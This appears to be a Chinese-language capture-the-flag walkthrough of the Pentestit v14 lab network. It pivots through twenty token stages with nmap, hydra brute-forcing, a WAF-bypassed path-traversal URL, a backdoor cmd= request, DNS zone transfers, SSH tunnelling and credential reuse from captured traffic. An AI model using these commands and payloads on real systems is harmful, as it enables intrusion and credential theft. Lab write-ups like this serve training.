pentestit-v14闖關記
本次操作在kali上完成:
OpenVPN連線成功後ping通192.168.101.1即可表示連線內網
掃描內網發現存活主機 nmap -sP 192.168.101.0/24 Nmap scan report for 192.168.101.1 Nmap scan report for 192.168.101.14 Nmap scan report for 192.168.101.15 掃描埠資訊: nmap -Pn -sS -v 192.168.101.X
埠掃描資訊
Nmap scan report for 192.168.101.14 Host is up (0.48s latency). Not shown: 997 filtered ports PORT STATE SERVICE 80/tcp open http site.test.lab 143/tcp open imap 8080/tcp open http-proxy 192.168.101.14:8080/mail/ Nmap scan report for 192.168.101.15 Host is up (0.59s latency). Not shown: 999 filtered ports PORT STATE SERVICE 80/tcp open http
訪問14的80埠,無法訪問,跳轉到相應網址,根據以往經驗將網址加入到hosts檔案中。
kali中位於/etc/hsots
之後獲得資訊:
Sales Department – [email protected]
PR Department – [email protected]
IT Department – [email protected]
1、site-token
wpscan掃描:
搜尋漏洞
[email protected]
猜測為waf導致:
進行雙寫繞過:
http://site.test.lab/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=//etc//passwd
獲得site token:
2、mail-token
hydra爆破imap143埠郵箱
hydra -L email.txt -P /usr/share/john/password.lst imap://192.168.101.14 -f -v -t20
發現[email protected]密碼:PASSWORD
獲得mail-token
發現存在相關郵件附件client.jar,certificate.zip和vpn.zip:
3、java-token
使用vpn中配置檔案openvpn連線192.168.101.15建立新的路由,該配置檔案為101.15,掃描階段發現存在101.14的openvpn埠開放
又檢視client.jar檔案,發現172.16.20.2的ssh連線,但經過加密;
可以進行反彙編,也可以用下面程式直接編譯執行輸出java-token密碼:
public class pass{
private static String sshPass = "L1(#@ru0euh0if";
public static void main(String[] args){
byte[] buf = sshPass.getBytes();
for (byte i = 0; i < buf.length; i = (byte)(i + 1))
buf[i] = (byte)(buf[i] ^ i);
sshPass = new String(buf);
System.out.println("Password = "+sshPass);
}
}
4、terminal-2-token
解出上面172.16.20.2的dev使用者密碼後ssh連線,find查詢token後發現新的terminal-2的token;
之後檢視本地檔案的時候會發現在dev使用者目錄下存在.crt資料夾,之後會發現相關配置檔案:
聯想郵件中vpn檔案,猜想該證書及金鑰是採用預共享金鑰方式用於生成192.168.101.14的openvpn配置檔案(用vpn檔案中配置檔案ca及dev.crt、dev.key生成dev.conf):
之後openvpn連線建立新的路由:
5、VPN-2-token
掃描整個網段80埠
之後進行目錄遍歷,目錄token存在,(其實這一步工具沒跑出來,感覺這個token有點扯)
6、NS-token
掃描中發現172.16.0.10存在dns服務,dns域傳送漏洞測試,其中存在一個token:
dig axfr @IP domain
7、AD-token
之後從dns域傳送漏洞中知道172.16.0.20位AD伺服器,在此時路由中到達不到50.20;所以掃描0.20埠:
發現存在samba服務,之後使用工具對域控進行使用者列舉
enum4linux -U 172.16.0.20
8、wiki-token
回到之前172.16.20.2上發現存在相關服務
使用SSH本地轉發,
ssh -L 8001:172.16.0.12:80 [email protected]
之後嘗試模版注入
掃描發現使用ruby-on-rails,根據ruby歷史漏洞,可參考CVE-2016-0752 動態渲染機制從而使用日誌汙染的方法實現檔案包含進而程式碼執行漏洞,當然本次比較簡單,直接回顯了token
9、vpn-1-token
之後將目光轉到192.168.101.14的VPN路由上,在101.15路由中的DNS資訊中會發現,部分網段是無法訪問的,在101.14的路由中我們可以進行剩餘相關路由的嘗試;
根據之前dns域傳送洩露資訊發現172.16.50.11同為vpn域名,使用172.16.0.11的token方法:
10、news-token
掃描內網172.16.50.21,發現登陸介面,使用之前發現的dev賬號登陸,之後掃描在lenta.php.save路徑存在原始碼檔案,之後發現存在後門:
之後構造相應POC獲得token檔案:
http://172.16.50.21/lenta.php?debug=dawdawgoiagi2re0&cmd=cat%20/opt/token
11、DB-token
在50.21進行資訊手機中,發現原始碼中配置檔案存在172.16.40.5的資料庫密碼配置檔案,netstat檢視埠連線情況發現為mysql資料庫
之後連線檢視資料獲得token:
mysql -h 172.16.40.5 -P3306 -u php-site -p'fqafG32rGpwvbcsof' -se "show databases;"
mysql -h 172.16.40.5 -P3306 -u php-site -p'fqafG32rGpwvbcsof' -se "select * from php.other;"
mysql -h 172.16.40.5 -u php-site (-D) php -pfqafG32rGpwvbcsof -e "select * from other" .
12、router-token
結合前文掃描結果,172.16.50.1/24段掃描到相關主機除了172.16.50.50均對應出現系統,因此再次對50進行探測:
之後嘗試snmp的public弱口令發現不成功,之後嘗試snmp爆破;可以使用onesixtyone,也可以使用msf中scanner/snmp/snmp_login
onesixtyone -c /usr/share/john/password.lst 172.16.50.50
之後使用爆破密碼獲得router的token
13、user-token
結合掃描資訊會發現存在ssh開放的情況,可以結合前文收集資訊整理形成字典,進行爆破;
在172.16.60.1/24段的爆破中發現172.16.60.2–172.16.60.5均存在sidorov和petrov賬戶的記錄;
172.16.60.3中當前使用者目錄下存在id_rsa檔案
在172.16.60.4的資訊收集中根據以往經驗在opt目錄下發現dump檔案,並發現為tcpdump檔案;
在172.16.60.5中發現user的令牌
14、dump-token
根據前文資訊蒐集在172.16.60.4中存在tcpdump檔案,本來使用scp下載到本地檢視但大概是檔案太大無法下載,之後在60.4上檢視是否存在tcpdump工具
使用命令:
/usr/sbin/tcpdump -r dump -A | grep "token"
獲得本次dump-token
15、git-token
在檢視流量猜測為相關web服務登陸密碼,之後使用命令
/usr/sbin/tcpdump -r dump -A port 80
發現應該是在172.16.0.21存在git中的賬戶記錄,因為之前在DNS記錄中的資訊對應域名為git.test.lab;可以在192.168.101.15中進行嘗試,並登陸成功:
發現存在指令碼檔案,並結合之前郵件中發現certificate檔案,將其程式碼下載下來研究;
在搜尋資訊中檢視readme.md的記錄過程中發現本次git-token
16、certificate-token
將certificat檔案進行研究,執行該檔案會提示缺少相關模組,之後安裝相關模組執行提示輸入密碼,將程式進行修改:
執行獲得本次金鑰;當然最早在郵件中下載的certificate.so檔案應該也是該功能,也可以通過反彙編進行解密;
17、TERMINAL-1-token
根據之前在172.16.60.3中的id_rsa檔案並檢視,根據之前ssh的22埠掃描結果,嘗試對172.16.40.2進行登入嘗試;
根據以往經驗資訊蒐集獲得本次token
18、FPM-token
根據DNS表中資訊,172.16.40.3應該存在相關web服務,發現只能通過172.16.40.2才能進行訪問,並且開放了80和9000(FPM)埠,進行fpm遠端程式碼執行漏洞嘗試;
可以進行ssh埠轉發,利用ssh+socks5進行漏洞利用(也可以本地轉發):
ssh動態轉發:
ssh -fN -D 1080 -i [email protected]
ssh本地轉發:
ssh 80:172.16.40.3:80 [email protected] -i id_rsa
19、Passwd_verify-token
172.16.40.6的ssh22埠開放,進行連線嘗試;
ssh -L 2222:172.16.40.6:22 -i id_rsa [email protected]
ssh -i id_rsa [email protected] -p 2222
發現172.16.40.6存在PIN碼校驗;雖然存在PIN,但是依舊可以使用埠轉發;
在對172.16.40.4進行ssh爆破時,需要通過172.16.40.6進行埠轉發;將id_rsa檔案上傳到172.16.40.2上進行操作,需要注意的是檔案因為許可權問題應該只能上傳到172.16.40.2的tmp目錄;
scp -i id_rsa id_rsa [email protected]:/tmp
之後ssh連線到172.16.40.2進行操作;進行登入嘗試發現金鑰檔案許可權不能過大,只能限定單使用者,可以用chmod 600 /tmp/id_rsa;
還存在金鑰檔案不匹配的情況,根據前文資訊蒐集情況,將certificate-token過程中生成的金鑰儲存傳送進行嘗試;
利用過程中會有不存在使用者記錄情況,結合資訊蒐集嘗試使用者ivanov登陸成功;
ssh -L 2222:172.16.40.4:22 [email protected] -i /tmp/id_rsa
ssh [email protected] -i /tmp/id_rsa -p 2222
之後在opt目錄下發現revers檔案;之後使用scp將檔案傳輸到本地;
在172.16.40.2上配合172.16.40.6的ssh埠轉發先下載到172.16.40.2:
scp -i /tmp/id_rsa_cert -P 2222 [email protected]:/opt/revers /tmp
之後在本地主機上使用scp下載到本地目錄:
scp -i id_rsa [email protected]:/tmp/revers /
之後進行反彙編檢視
對5cec175b165e3d5e62c9e13ce848ef6feac81bff進行解密:
再次執行執行程式輸入密碼獲得token;
20、ELASTICSEARCH-token
建立連線:
ssh -L 2222:172.16.40.6:22 -i id_rsa [email protected]
ssh -L 9200:172.16.40.7:9200 -i id_rsa sidorov@localhost -p 2222
檢視發現需要認證:
嘗試使用之前172.16.60.0/24爆破獲得密碼petrov:P@ssw0rd
登陸後進行查詢,根據搜尋發現token在兩個“|”之間:
總結:
滲透的本質是資訊收集